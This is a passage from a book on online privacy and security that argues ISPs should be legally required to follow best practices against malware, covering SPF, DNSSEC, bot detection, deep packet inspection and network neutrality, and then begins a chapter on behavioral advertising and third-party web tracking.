out spam bearing the return e-mail address of the person whose hijacked 
machine they are using to send the e-mail. That would pass an SPF check. 
In that case, spammers would just be slowed down for a few days while 
they figured out how to retool their spam-generating botnets to use dif­
ferent return addresses on their spam. Then again, firmly tying the return
address of a piece of spam e-mail to the host that actually sent it might 
be of considerable help to those who fight spam, because they could go
to the owner of the domain that a piece of spam comes from and say,
“There is a problem with spam coming from one of the machines in your
domain, and we know that it really is coming from one of your machines.
Please have the owner of the compromised machine fix it or cut off net­
work access to that machine.” Today all that organizations fighting spam
can say is the practically useless: “Somebody who sent spam happened to
pick your domain for his counterfeit return address.” 
It is not clear just how much good SPF does. The problem is not unique 
to SPF. It is common for there to be uncertainty about whether a particu­
lar technical action by ISPs will be a significant hindrance to the malware 
malefactors or merely a minor annoyance to them. 
Another good example of technical best practices for ISPs is the use of
domain name system security (DNSSEC) extensions to prevent domain
name request hijacking. To review domain name requests briefly, recall
from Chapter 2 what happens when you enter a URL—say, www.ama­
zon.com—in your browser. Your browser cannot take you to Amazon  
with the address in that form. It needs to convert it to this IP number:
72.21.214.128. Since your browser does not keep correlations of URLs and
numeric IP addresses, it has to contact a DNS server to get it (the servers 
are maintained by ISPs and various private and governmental networks).* 
Malware can subvert the process by changing the IP address you 
receive in order to direct you to a fake site, such as a fake banking site that
steals your login information and personal data. Hackers can accomplish 
this by attacking your computer or by attacking the DNS servers them­
* 	 To be more precise, your browser may store a moderate amount of URL to numeric IP address
translation data for a short time in an internal cache, but it still has to look up many URLs with
the DNS. 
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selves. To contact a DNS server, your computer needs its IP address; one 
way to subvert the process is to change the address your computer has for 
the DNS server it uses to the address of a machine the hackers control.
The DNS changer malware active from 2007 to 2011 did just that.4 Other
attacks have exploited vulnerabilities in the underlying DNS software 
to change the list that certain DNS servers maintain, and unfortunately,
given the way the overall DNS system works, a corrupt list may spread. 
(The spreading is referred to as DNS cache poisoning.) 
Widespread adoption of DNSSEC would certainly help mitigate this
problem, and use of DNSSEC is a recognized best practice for ISPs.5 
However, adoption has been fairly low. 
The Other Categories of ISP (Best?) Practices 
There are many other examples of technical, Internet infrastructure best
practices for ISPS, but you should now have the basic idea. For the other
categories, there is remarkably little information about exactly what
practices ISPs use. As near as we can tell, there are only a few actions that
are currently being taken by a significant number of US ISPs, and in all
cases we think stronger action is needed. These are, in our opinion, not
best practices. 
Subscribers are offered various security programs,6 either for free or for 
a fee, by 87 percent of ISPs. The programs include firewalls, spam filters, 
pop-up blockers, and phishing and malware protection. It is very common, 
in particular, for ISPs to provide antivirus software for free. For example, at
the time of this writing, Comcast makes Norton’s antivirus software pack­
age (including the updates) freely available to its customers. The catch is
that ISPs’ customers do not necessarily make the needed frequent updates 
of their antivirus software, and the ISPs do not force them to do so. 
In addition, 43 percent of ISPs monitor traffic in order to detect trends
that could indicate attempts at unauthorized access, although many of  
those ISPs neither cut off infected customers nor even notify them.7 ISPs
are particularly well positioned to detect bots by monitoring network  
traffic. As Mustaque Ahamad, director of Georgia Tech’s Information
Security Center, put it in the New York Times, ISPs can monitor network 
traffic to detect “behavior fingerprints, and if they see that coming from
your machine, they know its [sic] infected.”8 However, detection by itself, 
or detection coupled with an e-mail to a customer notifying him or her of
the bot infection and giving links to some web pages about how to remove
bots, is probably not enough to solve today’s botnet problem, though it is
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a good start. Some home users who are notified will follow directions on
the web for removing the infection. However, many home users will either 
ignore the e-mail or find that the directions for clearing the infection are 
just too difficult to follow. 
“Fifty-two percent of ISPs offer some type of technical support which 
could be used to fix security problems, ranging from services which sim­
ply direct customers to online help guides to remote virus removal, equip­
ment repair, and home visit services.”9 However, the online help guides
are insufficient for many customers, and ISPs normally charge for more
elaborate assistance, either through a significant monthly fee or a signifi­
cant one-time charge for helping with one incident. 
To summarize, what a customer might receive from an above-average
ISP today in terms of malware defense would be access to free antivirus 
software, notification of some bot infections together with a pointer to
online guides about how to remove bot and other malware infections, and 
an offer to provide paid assistance in removing bots and other malware. 
We feel that this is far from the best practices possible. In terms of our 
three-criteria definition of best practices from Chapter 7, today these prac­
tices only meet two of the three criteria: agreement about the goal and 
sufficient detail. There is certainly widespread agreement that reducing
the prevalence of malware is a desirable goal. Also, following practices of
the sort we have just described is a sufficiently detailed and reliable way 
to achieve that goal. The problem is that these practices make poor trade­
offs: We get a small amount of reduction in malware, whereas other, stron­
ger practices would give significantly greater reductions in malware at an
acceptable additional cost. 
Why Current Best Practices Are Not All That We Need 
Current best practices do not provide all that we need. We need more than
an arbitrary collection of individual best practices, each of which combats
some particular aspect of malware to some extent, with each individual 
practice making a limited trade-off between one type of defense and its 
impact on various goals. Limited trade-offs are not enough. We need best 
practices that, taken together, implement a comprehensive value optimal 
trade-off. One side of the trade-off is overall effective defense against mal­
ware, not just partial defenses against certain forms of malware, such as
some defense against the use of e-mail to deliver malware. 
The other side of the trade-off consists of all relevant competing goals,
not just, for example, the cost of SPF and its effect on free expression and 
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informational privacy. Effective overall defense requires investing signifi­
cant time, effort, and money in a variety of technologies, an investment
that ISPs could otherwise use to pursue a wide variety of other goals.
These goals include increasing bandwidth, expanding wired and wireless
Internet access, improving performance, improving customer service,
reducing customer costs, and developing innovative applications as well
as promoting free expression and protecting informational privacy. 
As we did in Chapter 7, we will call best practices that implement a  
value optimal trade-off comprehensive best practices. There is no con­
sensus on how to make the trade-offs required for the existence of com­
prehensive best practices. Indeed, since the current norm is residential 
end-user-located defense, discussion on the question has barely begun.
As we saw in Chapter 7, we have the same problem with software: The
existing best practices for software development do not add up to a col­
lection of comprehensive best practices; they do not make the overall  
trade-offs we need. 
We believe that best practices for combating malware must include:
 1. Guaranteeing that almost all residential users’ Windows machines
have antivirus software that automatically updates itself and its sig­
nature files 
2. Ensuring that residential users are running up-to-date, fully patched 
versions of their operating system and of commonly attacked com­
mon software
 3. Detecting and remediating common malware that is easy for ISPs to
detect from network traffic patterns—that is to say—bots 
These three items as stated are not sufficiently detailed to constitute 
best practices. This is because there is not yet widespread agreement about 
what the details should be. In the case of updating software, for instance, 
it might be the case that the best practice turns out to be for the makers 
of the software rather than the ISPs to be the ones who ensure proper 
updates are made. Google and Mozilla have recently gone this route with
their Chrome and Firefox web browsers, as has Adobe with its Flash Player 
and Reader—all of which by default now automatically update themselves
whenever there is a new version. 
There is also no agreement about exactly what would constitute best 
practices for bot detection. For example, ISPs can monitor our traffic 
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in somewhat less intrusive ways (statistical analysis of properties of our 
packets without deep packet inspection) that may be somewhat less accu­
rate in bot detection, or in more intrusive ways that are potentially more
accurate. It is unclear exactly what the best trade-off would be. 
We ourselves lean in the direction that ISPs should conduct deep packet
inspection in the search for characteristic bot behavior and malware sig­
natures and locate this inspection someplace that is at least close to the 
edge, such as the point where individual residential customers’ data passes
a main switch or router en route from their home to their ISP. However,
there are two caveats. First, for the detection of botnets, which are per­
haps the most serious and pervasive malware threat, it is still an unsettled 
research question whether techniques that make heavy use of deep packet
inspection are superior to techniques that make relatively little or even no
use of deep packet inspection.10 
Second, even if deep packet inspection turns out to be at least part of
the most effective botnet detection methods, determining just how much 
deep packet inspection to allow is a difficult question because another use 
of deep packet inspection is to subvert the network neutrality principle,
whose importance we discussed in the last chapter. We firmly believe that
ISPs’ discrimination among different types of traffic should be quite lim­
ited. Therefore, we would be worried that rules or regulations permitting
ISPs to make wide use of deep packet inspection would result in the ISPs’ 
using it to subvert network neutrality rather than only to combat botnets.
Nevertheless, each use of deep packet inspection should be carefully con­
sidered on its own merits. 
Incidentally, we have been discussing what your ISP might do to help
you and the Internet at large by inspecting packets coming to and from
you, its customer. You might wonder about the possibility of the major 
Internet backbone providers using deep packet inspection everywhere
with a goal of totaling ridding the Internet of botnets. That is probably 
infeasible. At least as of the time of this writing, it would likely be too
expensive to scale up deep packet inspection to that extent.11 This is per­
haps just as well, given the temptation that such universal deep packet 
inspection would provide the backbone providers to discriminate in favor 
of traffic they prefer. 
In any event, it is clear that at the moment the ISPs will resist hav­
ing any mandatory role in combating malware thrust upon them. Two 
reports were issued by the Communications Security, Reliability and 
Interoperability Council (CSRIC), an advisory group to the FCC made 
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up primarily of ISP representatives: a 2010 report on ISP best practices for 
“network protection” (i.e., combating malware)12 and a 2012 draft report
on ISP antibot practices.13 The 2010 report contains a long list of practices 
from three of the four categories we listed at the beginning of this chapter:
taking technical infrastructure measures, providing access to antivirus
software, and some monitoring for bots. (The report does not mention 
detecting or encouraging up-to-date software.) However, the report states
over and over again that all these best practices should be voluntary not
mandatory. We, of course, disagree. The 2012 draft antibot report is strik­
ing because all its suggestions are quite weak. They boil down to the idea
that ISPs should educate themselves about the threat from botnets, offer
guidance to users, and perhaps offer remediation to users and perhaps 
not—and all this should, of course, be completely voluntary. 
AN ADDITIONAL WRINKLE: THE DEFINITION 
OF MALWARE IS NOT FULLY SETTLED 
The problem of finding best practices to combat malware is made a little
more difficult because we do not know exactly what malware is. 
This may seem obviously wrong. After all, we just spent several pages 
of the previous chapter defining malware. The problem is that we defined
it (in part) as software, the intended use of which is “especially objec­
tionable,” and we left the boundaries of “especially objectionable” quite 
undefined—as we were right to do. Our imprecise definition captures our 
imprecise concept. If we are to achieve consensus on trade-offs, however,
we need to be clearer than this about what ISPs are supposed to defend 
against. Imagine being sent to the grocery store to buy steak but not being 
told whether to buy filet mignon, inexpensive flank steak, or something in
between. Similarly, we “buy” malware defense by diverting resources to
that task that we could otherwise use elsewhere, but we don’t know exactly 
what we want to buy defense against. So what type of effective defense 
should we consider when evaluating trade-offs among malware defense 
and other goals? Defense based on a narrow conception of what is objec­
tionable? Or a broader one? Picking a trade-off requires picking an answer. 
Our solution to defining best practices exactly parallels our approach 
to software in Chapter 7. We could at this point note a few impor­
tant differences between the software and malware cases and then say 
“Otherwise, see Chapter 7.” However, convenience, clarity, and com­
pleteness argue for a fuller treatment. This means repeating much of the 
Chapter 7 argument in short form here. 















DEFINING COMPREHENSIVE BEST PRACTICES 
We propose using a statute to define best practices. The statute itself does
not offer a definition; it delegates that task to an agency, and it requires 
that the definition strike a balance between effective malware defense 
and competing goals. Relevant competing goals certainly include those 
we listed earlier: increasing bandwidth, expanding wired and wireless
Internet access, improving performance, improving customer service,
developing innovative applications, promoting free expression, and pro­
tecting informational privacy. 
Definitional Issues 
One critical task in drafting the statute is to specify goals in a way that is
adequately informative yet sufficiently broad and abstract that the speci­
fied goals remain relevant through rapid technological and economic
change. The statute’s definition of goals has to be open enough to interpre­
tation to allow different ISPs to experiment with different ways of imple­
menting the practices. The experimentation promotes the variation and 
innovation necessary to develop maximally effective practices in the ever 
changing malware landscape. 
The definition must nonetheless still be sufficiently detailed and spe­
cific that it offers us a conception of comprehensive best practices—prac­
tices that implement a value optimal trade-off between overall effective
defense against malware and all relevant competing goals. It must also  
provide adequate practical guidance to ISPs about what they must do to
comply with the statute. When we legally require ISPs to defend against 
malware, we cannot say, “You are required to defend—in vaguely speci­
fied ways,” and then later say, “Sorry, not the right ways; you are liable.”
That is not only unfair but also unwise. Some will overdefend out of fear of
liability and hence divert too many resources away from other goals, and 
others will underdefend and hence not divert enough from their pursuit 
of other goals. 
The task of defining best practices is the difficult one of meeting 
demands that pull in opposite directions. We must be sufficiently spe­
cific and detailed to provide adequate practical guidance without being so 
specific, detailed, and guiding that we shut down innovation. Indeed, the 
task is likely to be considerably more difficult for best practices for ISPs in
combating malware than for best practices for major software developers 
for writing software with fewer vulnerabilities. Writing low-vulnerability 
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software has much in common with writing high-quality software overall, 
which is a problem that has now been studied for several decades. While 
malware dates back to the 1980s, malware in its current form of for-profit, 
Internet-borne malware dates back only to 2005, so the agency making the 
rules for ISPs will have a harder and more contentious task. 
The agency carries out this task by following the rule-making proce­
dures outlined in Chapter 7. We will not review those procedures here. 
The point to emphasize is that—ideally—the agency will define rules
that make trade-offs that are at least as well justified as any alternative.
In practice, the process may be derailed in various ways. We nonethe­
less recommend it as the most feasible way to define best practices for 
ISP malware defense. The process yields a minimum standard—a floor, 
not a ceiling. Some ISPs may offer malware defenses that go beyond the 
minimum best practices required. The minimum standard is a compro­
mise between effective defense and widespread affordable Internet access.
Implementing effective malware defense increases ISPs’ operating costs,
and, to the extent that they pass these on to end users, they may decrease
the ability of some to access the Internet and hence decrease the effective­
ness of the Internet as a medium of free expression. We assume in what
follows that ISPs will offer best practices malware defense at a cost the 
vast majority of end users can afford. 
CREATING THE NORM 
How do we get from the definition of best practices to a best practices 
norm? It is easy in perfectly competitive markets. All we need to do is
promulgate the definition. We briefly explain why it works that way and
then use that explanation as a guide to what we need to do in real markets. 
Norm Creation in Perfectly Competitive Markets 
In a perfectly competitive market, all sellers offer products or services
of the same kind. The relevant service in this case is Internet access that
includes ISP-provided malware defense. The additional requirements for a 
perfectly competitive market are profit-motive-driven sellers, lack of mar­
ket power, no barriers to entry or exit, zero transaction costs, and per­
fect knowledge. We begin with the perfect knowledge requirement. We
formulated the requirement this way in our general definition of perfect 
competition in Chapter 3: Buyers and sellers (in this case, ISPs’ customers 
and ISPs) know everything relevant to their production and consumption 
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decisions. We noted that, when considering particular markets, we would 
specify what knowledge was required. There are three types of knowledge 
required in this case. 
The first is that all end users know whether an ISP offers a best practices 
malware defense. This knowledge is a significant addition to what buyers 
knew before the promulgation of the definition. Buyers may have realized 
that particular ISPs offered malware defense, but no buyer could possibly 
have known that the defense conformed to the comprehensive best prac­
tices defined by the agency. Comprehensive best practices simply did not
exist. We also assume—and this is the second piece of relevant knowl­
edge—that, once the definition is promulgated, each end user realizes
that, other things being equal, he or she is better off with ISP best practices 
defense than with end-user defense alone, because end users realize that
ISP best practices by definition make a value optimal (best justified) trade-
off between the goals of malware defense and all other goals, including 
costs to the consumer. Importantly, the perfect competition assumptions 
of no barriers to entry, zero transaction costs, and ISPs’ lack of market  
power mean that the costs of the ISP-provided defense to consumers will
be low. 
So end users will prefer to switch to ISPs offering best practices malware 
defense. Since they also know whether or not an ISP offers such software,
they will buy from those that do, if there are any such ISPs—and there 
will be. We assume—and this is the third piece of relevant knowledge— 
that ISPs know buyers prefer best practices ISP defense, and hence profit-
motive-driven ISPs will provide it, at least given no transaction costs and 
lack of market power. Eventually, best practices ISPs will be the only ISPs
there are. 
As was the case with similar arguments earlier in the book, the result
is that “buyers demand best practices ISP malware defenses” becomes a 
behavioral regularity. Moreover, that regularity is a norm: Since buyers 
know the ISP-provided defense is value optimal, buyers do think they
ought to purchase it. 
Note the minimal role of legal regulation. Once the best practice defini­
tion is public, the market takes over and creates the norm. But that hap­
pens only under conditions of perfect competition, not in real markets. In
reality, although ISPs are (more or less) profit motive driven, the remain­
ing conditions defining perfect competition are problematic. We begin 
with market power, transaction costs, and barriers to entry. 
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No Market Power, No Entry/Exit Barriers, and No Transaction Costs 
Perfect competition requires that all market participants lack market 
power, the power to control prices and determine features, and that there 
be no barriers to entry. There is ample reason to worry that the end-user
ISP market does not sufficiently closely approximate these conditions. 
In the United States, the five largest end-user ISPs have about half of the 
market,14 and there is increasing consolidation of ownership of cable, tele­
communications, and ISP companies.15 In addition, there are significant
barriers to entering the market since entering requires a significant initial 
capital investment in infrastructure. There are also significant transaction
costs for consumers who switch ISPs. Exploring alternatives requires time
and effort as does installing new equipment, setting up new payments, 
and waiting for the service person to arrive to hook up the new service. 
As was the case back in Chapter 7, we are going to ignore most of these 
issues and focus only on the lack of perfect knowledge in the real-world
market for ISPs. This is not to deny that lack of competition is a serious 
problem, but its analysis requires detailed economic analysis and is legally 
best addressed in the context of antitrust law. That task lies outside the 
scope of this book. For our purposes, we may make the obviously flawed 
but not ridiculous assumption that all the other conditions of perfect mar­
kets are sufficiently closely approximated in the ISP market. Whenever 
there is any competition in a market—and most Americans do have a 
choice of at least two ISPs—we get at least some of the benefits that come
from the other conditions of perfect competition. What we do not get is
any better consumer knowledge. 
The Perfect Knowledge Barrier 
How then do we generate a best practices norm in sufficiently competitive
markets? The critical hurdle consists of perfect knowledge requirements. 
We begin with the requirement that buyers know ISPs offer best practices 
malware defense. Our norm generation process in perfectly competitive 
markets depended on buyers having such knowledge. This is clearly not
true in the real market for ISP-provided malware defense. It might have
been true in malware’s early, pre-2005 days when performance-disrupt­
ing viruses and worms were a clear signal of a defensive failure. Much 
contemporary malware, however, is carefully designed not to cause a 
noticeable decline in performance. Evaluating malware defense practices 
thus requires access to the practices themselves, and, as a general rule, 
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end users have no access to an ISP’s malware defense practices. Indeed, 
many ISPs are likely to protect these as part of their security policy, albeit
a perhaps unwise “security through obscurity” portion of their security
policy. Access to details of the ISP’s malware defense methods would do
little good in any case, as most buyers would be unable to understand and
evaluate the practices. 
Our solution is a disclosure requirement: Require that ISPs regularly
file a publicly accessible report like an SEC filing that details their malware 
defense practices. ISPs may, of course, misrepresent their practices, but the 
expected cost of being penalized for doing so should be sufficiently great 
to ensure an adequate degree of truthful disclosure. Of course, most end
users lack the technical expertise to understand and evaluate the informa­
tion, but publications like Consumer Reports, consumer watchdog groups, 
other competitors, and law enforcement agencies are able to make an eval­
uation, and they can generate sufficient negative publicity about depar­
tures from best practices to keep enough consumers adequately informed. 
NORM CREATION IN REAL MARKETS 
In our perfect competition model of norm generation, the “end users 
demand ISP best practices defense” regularity arises because end users 
demand best practices defense and ISPs offer it in response. In real mar­
kets, we reverse the order: ISPs offer best practices defense, and end users 
demand it because the ISPs offer it. We ensure that ISPs offer best practices 
defense by legally requiring them to do so. The statute that defines best 
practices also requires ISPs to adopt those practices. Assuming adequate 
enforcement, this is enough to create this regularity: End users demand
ISP best practices defense against malware. “Demand” may not seem to
fit here. End users are forced to accept ISP best practices defense. When 
ISPs conform to the statute, residential end users cannot subscribe to an
ISP without receiving ISP best practices malware defense. But, as we have
emphasized before, by “demand” we mean willingness to pay; to the extent
that end users are not willing to go without ISP access, they are willing to
pay for ISP best practices malware defense. 
The regularity is not a coordination norm until end users conform to it
because think they ought to demand best practices defense—conditionally
ought, ought as long as everyone else does. In the case of perfect com­
petition, we guaranteed this with the relevant knowledge requirement.
We assumed, first, that buyers realized that best practices defense imple­
mented a value optimal trade-off between effective defense and other goals 
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and, second, that, as a result, they demanded such defense in part because 
they thought they ought conditionally to do so. We guarantee this in the 
same way here. We rely on education to ensure that end users realize that
best practices defense implements a value optimal trade-off. Educational 
initiatives may come from three sources: government agencies such as
the FTC, nongovernmental organizations such as the Association for 
Computing Machinery, and ISPs themselves. We think it is highly likely 
that the educational campaign will result in most end users realizing that
ISP best practices defense implements a value optimal trade-off. 
The result will be that the “demand best practices defense” regularity  
exists because buyers think they ought to purchase best practices defense.
The ought is conditional. Once the norm is in place, unilateral nonconfor­
mity will mean going without Internet service; consequently, buyers will
think they ought conditionally to conform. Were conditions to change, were
buyers to start conforming again to the end-user-provided defense regular­
ity, buyers would think they ought to conform to that regularity. Thus, the
conditions for the existence of a coordination norm will be fulfilled. 
Once the norm is in place, legal enforcement recedes into the back­
ground as end users and ISPs voluntarily conform to the norm. So, through 
enforcement of a legal requirement of best practices, we arrive again at an
approximation of the market conditions we achieved in the frictionless
world of perfect competition. 
No Worry about Lemons Market 
When we reached this point in Chapter 7 in our discussion of software, we
raised a concern about a lemons market in which, despite the existence of
a best practices norm for software development, insecure software would 
eventually drive secure software out the market. The more difficult it is
for software buyers to tell the difference between secure, best practices 
software and insecure, less than best practices software, the greater is the 
danger of a lemons market. The same concern arises here for ISP malware 
defense. The more difficult it is for end users to tell best practices malware 
defense from less than best practices defense, the greater is the danger of
a lemons market in which less than best practices defense drives out best 
practices defense. 
We answer as we did in the software case. In that case, we contended
that the disclosure requirement and related educational efforts would
ensure that enough buyers would detect less than best practices software
to make producing best practices software the profit-maximizing strategy. 
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Essentially, the same is true for malware. The disclosure requirement and 
related educational efforts will create enough end users detecting less than
best practices to make offering best practices defense the profit-maximiz­
ing strategy. 
THE END-TO-END AND NETWORK NEUTRALITY PRINCIPLES 
We promised in the last chapter that the “ISPs best practices defense 
against malware” norm would be consistent with the end-to-end and 
network neutrality principles. There are two problems. Is the norm as we
intend it to work consistent with those principles? And, is the norm as it
will actually work consistent? The answer to the first question is a clear 
“yes.” The norm as intended is consistent with the end-to-end principle as
it is currently interpreted in practice. The current interpretation is not the
absolutely literal one that prohibits intelligence anywhere on the network 
except at the extreme end points. As we noted in Chapter 9, ISP spam
filtering violates the literal interpretation, but we not only accept, but also 
insist, that ISPs use spam filters. Scanning for malware is similar. 
We move scanning “one step” into the network—away from end users
toward ISPs—to detect and block programs that end users do not want
delivered. Similarly, scanning for malware infringes a literal interpretation
of network neutrality, which requires that networks do nothing to discrim­
inate among types of data. Filtering spam also violates that interpretation
of the principle, but neither violation is cause for concern. The point of the 
network neutrality principle is to preserve the Internet as a platform for 
economic growth and free communication. Filtering spam and scanning 
for malware do not detract from those goals; they promote them. 
The network neutrality concern is that—in practice—ISPs will not 
limit themselves to scanning for malware. The deep packet inspection
technology that can be used to scan for malware would also allow ISPs to
discriminate among types of content. Comcast, for example, could slow
down the transmission of YouTube videos to make them look worse than
Comcast-on-Demand videos. We need to ensure that regulations requir­
ing ISPs to scan for malware do not give ISPs unintended permission to
violate net neutrality. 
Because the data scanned are the bits making up customers’ Internet 
traffic and because bits are just bits, we will need explicit regulations con­
cerning the use of the scanned information. Voluntary rules for the ISPs
would be like telling corporate insiders who have access to nonpublic 
information about a stock, “Please voluntarily refrain from using that
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information to profit from personal investments.” There are two ways to
address the problem of ISPs using information obtained by scanning end-
user content for other purposes. 
First, we could prohibit that in the best practices statute. The alterna­
tive is simply to make it clear that neither the statute nor the norm grant 
permission to use the information gained from deep packet inspection for 
any other purpose. We can and probably should still impose limitations 
on discriminating against types of content, but the limitations will come
from other sources—from other statutes and norms. We are inclined to
favor the second approach, because it makes most sense to consider limita­
tions on ISP conduct in a unified way that is largely distinct from computer 
security concerns. We might, for example, want one set of regulations that
imposes limitations on ISPs’ use of information for targeted advertising 
and an outright ban on discrimination among content based on its source
or media type. 
HAS OUR FOCUS BEEN TOO NARROW? 
Malware is the tool of choice at the moment, but hackers don’t need to
install malware surreptitiously on computers to attack our computers.
This is true of many of the attacks that we considered in Chapter 8: phish­
ing, password cracking, packet sniffing, session hijacking, SQL injection, 
backdoors, and denial-of-service attacks. Best practices malware defense 
will not stop these attacks. What would make many of them more difficult 
is best practices software. However, high-quality software would not make 
unauthorized access go away. Social engineering is powerful and exploits
weaknesses in human nature, not in software. Furthermore, as we noted
in Chapter 6, as soon as the programs get complex enough, it is impossible
to produce software that is completely free of vulnerabilities. There would 
still be ways for hackers to get in, but there would be far fewer unlocked 
doors they could exploit. 
So let’s imagine that all ISPs provide best practices malware defense and
that all software developers offer only best practices software. We will still
have an unauthorized access problem, but will we have cut the problem
down to a manageable size? Would the losses be small enough that we could
deal with them through some combination of insurance plus civil and
criminal prosecution of wrongdoers? Or do we still need to use our norm
generation process to create more new norms? Or worse yet, do we still have
a serious problem that cannot be solved by creating further new norms? 
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Our answer is, “We don’t know yet.” We need to see the extent of unau­
thorized access after we have in place best practices malware defense and 
best practices software. 
In terms of our doors and guards analogy, there are two possibilities.
One is that our current troubles are broadly similar to those of many trou­
bled and borderline US neighborhoods. Combined great efforts in more 
and better policing, more and better locks on doors and windows, and so 
on would very likely make a dramatic change for the better. The outcome 
would be what prevails in most US neighborhoods: a low but nonzero level 
of crime that is unfortunate but tolerable, in the sense that the damage
it causes is on the same scale as or less than the damage caused by other
sources of trouble, such as auto accidents. 
Another possibility is that the proper analogy is to building houses
of straw in a zone of frequent hurricanes and earthquakes, and that no
combination of better locks on the doors and more policing will do much 
to improve the situation. Some pessimistic experts, such as the cryptog­
rapher Dan Bernstein, feel that continued use of Internet protocols and,
especially, operating systems whose origins predate modern computer 
security concerns will always make computer criminals’ jobs so easy that
we will continue to have intolerably high rates of attacks.16 Their view is
that we need to redesign our computing infrastructure from the ground
up. In this view, the problem is not just Windows, but equally Apple’s Mac 
OS X and Linux, both of which are descendants of the 1970s Unix operat­
ing system. Bernstein once famously taught a course on security holes in
Linux, where the class project was for every student to find several different 
new, exploitable vulnerabilities in the Linux operating system; indeed, his 
16 students found about 40 different vulnerabilities. Bernstein explained 
that he chose Linux for the fall 2004 course rather than Windows because 
he felt a full semester course would be enough time to cover a majority of
the important security weaknesses in Linux, whereas Windows’s security
weaknesses would require multiple semester courses. 
We cannot really know which side in this debate is correct. However,
given the huge practical difficulties in convincing the world to renounce 
all of today’s infrastructure, we should make our best efforts first to reduce 
vulnerabilities and better defend against malware. 
Incidentally, there is one additional problem area that we have not 
addressed: the management of large networks at the scale of medium to
large organizations. As we mentioned in Chapter 8, the administration
of large networks is really difficult. Here the solution does not seem to







270  ◾ Unauthorized Access: The Crisis in Online Privacy and Security 
involve societal norms. The problems are lack of enough expert network 
administrators and perhaps also underfunding of computer security bud­
gets in many large organizations. 
WAS OUR FOCUS TOO NARROW IN ANOTHER WAY? 
Our definition of malware narrowed our focus to software intended for 
uses that we find especially objectionable. The “especially objectionable”  
uses divide into two broad categories: disruptions of communication (self­
replicating viruses and worms and denial-of-service attacks) and particu­
larly intrusive forms of surveillance. The “too narrow” worry arises because 
the proposed ISP malware defense norm is only a partial solution to con­
cerns about computer surveillance. Those issues extend far beyond mal­
ware to the concerns about informational privacy we discussed in Chapters 
4 and 5. It is best to treat malware and informational privacy as separate 
but related problems, so we don’t think our malware definition has too 
narrow a focus. It just leaves us with another, distinct problem to address. 
We identified the problem in those chapters but stopped short of giv­
ing the solution. The problem is a lack of value optimal norms relating to
informational privacy. In some cases, the relevant norms that govern our
information exchanges are not value optimal; in other cases, there sim­
ply are no relevant norms governing the exchanges. The solution in each 
case is to create relevant value optimal norms. In Chapter 5, we postponed 
showing how to do so. 
We turn to that task in the next two chapters. We focus on online  
behavioral advertising in Chapter 11 and then generalize in Chapter 12. 
Before we turn to those chapters, it is worth pointing out that we now  
have three categories of norms: informational norms (Chapters 4 and 5), 
product-risk norms (Chapters 6 and 7), and service-risk norms. Service-
risk norms allocate the risk of using a service; an example is the “ISP best 
practices defense” norm. Such norms are the mirror images of the prod­
uct-risk norms. Service-risk norms are essentially the same, except that
they refer to services instead of products. All three types of norms figure 
in the next chapter. 
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As you enter a shopping mall, a guard pins a wireless tracking device on
you. A real-time data feed allows stores to tailor their sales pitch to your
path through the mall. (“You were just in Abercrombie and Fitch; we have
better prices.”) The information is also stored for later analysis and dis­
tribution. When pinning on the device, the guard hands you a piece of
paper that states that by accepting the device, you agree to the printed 
terms. Among other things, you agree to wear the device and to permit
the data collection. Entering a store requires wearing one or more addi­
tional tracking devices, which pick up signals from merchandise to track 
what you look at and for how long. Additional pieces of paper assert your
assent. You return some devices when you leave a store, but retain others 
that monitor your activity in other stores. By the time you leave the mall, 
you are covered in tracking devices. You return all of them except for the 
virtually invisible microscopic devices attached to your credit and debit 
cards. They will track you during your next visit to any shopping mall. The
papers presented to you assert your agreement. 
It is hard to imagine any of us tolerating this kind of tracking. We are,
however, tracked in a very similar way on the Internet. In Table 11.1, we
273 





274  ◾ Unauthorized Access: The Crisis in Online Privacy and Security 
TABLE 11.1 List of Third Parties Monitoring a Visit to a 
Particular News Story on Search Consumerization’s Website,
August 6, 2012 







Dynamic Logic 1 
Facebook Connect 3 
Facebook Social Plugins 1 
Google +1 2 
Google Adsense 5 
Google Analytics 5 
Media6Degrees 1 
Microsoft Atlas 5 
Omniture 2 
ResonateNetworks 2 
Twitter Button 4 
give a list of the third parties monitoring visits to Search Consumerization1  
and the number of websites to which each one reports.* 
Some people try to prevent the tracking, but almost all acquiesce. 
Ignorance and a lack of obtrusive guards ease the acquiescence. Many are 
unaware of the various tracking technologies or are at least unclear about 
how they work; unlike our imagined mall guards, the technologies operate 
without altering our website experience (with the exception of the presen­
tation of advertising targeted to our interests). Our compliance is a boon 
to business. Our data “have become a torrent flowing into every area of 
the global economy.”2 IBM estimates that the world now creates 2.5 quin­
tillion bytes of data a day,3 and the prediction, according to a sponsored 
report by the research firm IDC, is that this will increase 44-fold by 2020.4 
* 	 For example, Resonate Networks reported back to two URLs, both http://ds.reson8.com/vendor. 
gif?v=CS&c=50047642d33884a4 and http://ds.reson8.com/pop.gif?v=CS&c=50047642d33884a 
4&RCOUNT=18. The number of distinct websites that a particular third party reports back to
may indicate the particular engineering design that that third party has chosen rather than the
amount of tracking that it is doing. Still, it is quite impressive that AddThis reported back to 13
different URLs. 
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Until recently, handling extremely large data sets was infeasible, but 
advances in information processing have greatly increased companies’
ability to analyze “big data,” the term typically applied to the massive col­
lections of information that once defeated our technological prowess. Big
data promises big benefits. One recent study predicts that big data will save
$200 billion annually in health care costs in the United States, increase 
retailers’ margins up to 60 percent, and create an annual consumer surplus
of $600 billion.5 Even conservative estimates project considerable gains. 
The downside is a loss of informational privacy— a massive loss of con­
trol over what others know about us. As we mentioned back in Chapter 1,
with enough data, companies can determine where you work, how you 
spend your time, and with whom; as one big data expert put it, “With 
87 percent certainty, I can tell you where you’ll be next Thursday at 5:35
p.m.”6 Various tributaries feed the torrent of data: website visits, mobile
device apps, postings on social networking sites, credit card transactions,
discount cards, retailers, visits to the pharmacist, public records, and so
on. We consider more of the deluge in the next chapter. Here, we focus 
exclusively on behavioral advertising on websites. 
We proceed as follows. First, we will say a little bit about the overall
online advertising ecosystem. Next, we will take a close look at cookies,
which are the technological equivalent of the wireless tracking devices 
from our introductory example. We conclude the chapter with a discus­
sion of the legal devices equivalent to the contracts the guards handed 
out. Then, in the next chapter, we discuss what how we think things  
should change. 
BEHAVIORAL ADVERTISING AND THE 
ONLINE ADVERTISING ECOSYSTEM 
(Online) behavioral advertising is “the tracking of consumers’ online  
activities in order to deliver tailored advertising.”7 Tracking, tailoring, and 
delivery occur through a complex ecosystem of interacting entities. The
behavioral advertising ecosystem consists of a large number of different 
types of interacting businesses. We offer a simplified model consisting of
just five roles: profilers, advertising agencies, advertising exchanges, web-
sites displaying the advertisements, and the businesses that purchase the 
